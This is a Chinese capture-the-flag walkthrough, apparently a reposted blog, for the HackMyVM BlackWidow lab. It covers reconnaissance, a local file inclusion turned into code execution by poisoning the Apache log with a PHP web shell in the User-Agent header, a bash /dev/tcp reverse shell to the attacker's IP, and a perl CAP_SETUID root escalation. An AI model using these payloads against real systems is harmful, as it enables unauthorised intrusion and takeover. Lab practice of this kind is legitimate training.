渗透靶场——HackMyVM:BlackWidow

部署环境

提供镜像文件后,直接用虚拟机打开即可,kali攻击机用VMware打开即可,靶机用vbox打开即可

kali攻击机ip地址:桥接自动获取ip,此次中间换过一次IP,没有什么影响

靶机ip地址:(桥接自动获取ip)

目标: user.txt和root.txt

信息收集

扫描主机

 arp-scan -l

在这里插入图片描述
发现存活主机ip地址:192.168.1.118

扫描端口

扫描靶机开放的服务端口

nmap -A -T4 -p- 192.168.1.118 

在这里插入图片描述
在这里发现了很多开放的端口,那么我们还是老规矩,先在80端口进行突破看一下

Web渗透

访问一下80端口界面
在这里插入图片描述发现没有什么有用的信息,直接进行目录扫描看一下
在这里插入图片描述然后就直接访问company/index.html界面进行查看

http://192.168.1.118/company/index.html在这里插入图片描述在这个界面里没有发现什么有用的信息,那就直接看一下源码

在这里插入图片描述正在开发使用file做为参数的php包含方法,那就好办了,我们直接试试
在这里插入图片描述发现其实还是不行,再仔细看看源码有什么遗漏的地方
在这里插入图片描述是不是需要添加完域名才可以,我们先去添加一下试试

vi /etc/hosts

在这里插入图片描述
在这里插入图片描述但是扫描的时候发现就发现了一个index.html目录,剩下的网页没有发现,是不是我扫描器的原因,没有扫描完全,那就试试别的扫描器吧,也在这里给大家介绍一个更加完美的扫描软件

Gobuster

Gobuster是Kali Linux默认安装的一款暴力扫描工具。它是使用Go语言编写的命令行工具,具备优异的执行效率和并发性能。该工具支持对子域名和Web目录进行基于字典的暴力扫描。不同于其他工具,该工具支持同时多扩展名破解,适合采用多种后台技术的网站。实施子域名扫描时,该工具支持泛域名扫描,并允许用户强制继续扫描,以应对泛域名解析带来的影响。

-P string:基本AUTH的密码(仅为DIR模式)
-U string:基本AUTH的用户名(仅为DIR模式)
-a string:设置用户代理字符串(DIR模式)
-c string:用于请求的Cookie(仅为DIR模式)
-cn:显示CNNEX记录(DNS模式),不能与“-I”选项一起使用)
-e:扩展模式,打印完整URL
-f:向每个目录请求追加前斜线(仅为DIR模式)
-fw:当通配符发现时,强制继续操作
-i:显示IP地址(仅DNS模式)
-k:跳过SSL证书验证
-l:包括在输出中的主体长度(仅为DIR模式)
-m string:目录/文件模式(DIR)或DNS模式(DNS)(默认“DIR”)
-n:不要打印状态代码
-np:不显示进度
-o string:输出文件以写入结果(默认为STDUT)
-p string:用于请求的代理[http(s)://主机:端口](仅dir模式)
-q:不要打印横幅和其他噪音
-r:追随重定向
-s string:设置状态码(DIR模式)(默认"200,204,301,302,307,403")
-t int:并发线程数(默认值10)
-to duration:HTTP超时(仅限于DIR模式)(默认10s)
-u string:目标URL或域
-v:冗长输出(错误)
-w string:暴力猜解的单词列表的路径
-x string:要搜索的文件扩展(仅限于DIR模式)
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.1.118/company  -x php,txt,html

在这里插入图片描述
在这里终于发现了一个新的目录
那么看一下这个目录进行文件读取看看可以不
在这里插入图片描述发现viper用户,继续收集敏感信息,nmap扫描时显示中间件为apache我们找找日志

http://192.168.1.7/company/started.php?file=../../../../../../../../../../../../../var/log/apache2/access.log

在这里插入图片描述
这里的信息一看就知道是agaent头信息,可以修改agent写入一句话木马,再通过文件包含执行命令

curl -A '<?php system($_GET[shell]); ?>' http://blackwidow/

在这里插入图片描述

反弹监听

http://192.168.1.7/company/started.php?file=../../../../../../../../../../../../../var/log/apache2/access.log&shell=id

在这里插入图片描述写入成功,修改payload反弹shell到攻击机上

1、攻击机监听4444端口

nc -lvvp 4444

在这里插入图片描述

2、反弹shell,payload部分需要url编码

编码前

http://192.168.1.7/company/started.php?file=../../../../../../../../../../../../../var/log/apache2/access.log&shell=bash -c 'bash -i >& /dev/tcp/192.168.1.6/4444 0>&1'

编码后

http://192.168.1.7/company/started.php?file=../../../../../../../../../../../../../var/log/apache2/access.log&shell=bash%20-c%20'bash%20-i%20%3e%26%20%2fdev%2ftcp%2f192.168.1.6%2f4444%200%3e%261'

在这里插入图片描述
反弹成功,找找敏感信息

cd /var/backups(这是备份文件)
ls
cat auth.log

在这里插入图片描述
然后在这里就找到了一个密码(累死我了,找半天,一个一个瞅的)

找到viper的密码,登录SSH验证

ssh [email protected]

在这里插入图片描述
登录成功,继续查找敏感信息。

cd /home/viper
ls
cat local.txt

在这里插入图片描述
在这类就拿到flag文件local.txt,上传辅助脚本检查( 这个脚本非常厉害,可以枚举linux操作系统几乎所有的可提权项,甚至可以通过su暴力破解本地密码,输出非常多。)

1。攻击机上辅助脚本目录下开启HTTP服务

python3 -m http.server

在这里插入图片描述
2、靶机下载linpeas.sh并执行(靶机上没有wget,使用curl)

curl http://192.168.1.6:8000/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

在这里插入图片描述在这里插入图片描述

找到arsenic文件有CAP_SETUID能力,看看他有什么功能

cd backup_site/assets/vendor/weapon/
./arsenic -h

在这里插入图片描述是perl程序,来看看如何提权

提权

https://gtfobins.github.io/gtfobins/perl/#capabilities

在这里插入图片描述知道如何提权,来验证一下

./arsenic -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

在这里插入图片描述提权成功,找一下flag

cd /root
ls
cat root.txt

在这里插入图片描述
整个靶场over

猜你喜欢

转载自blog.csdn.net/tlovejr/article/details/123981245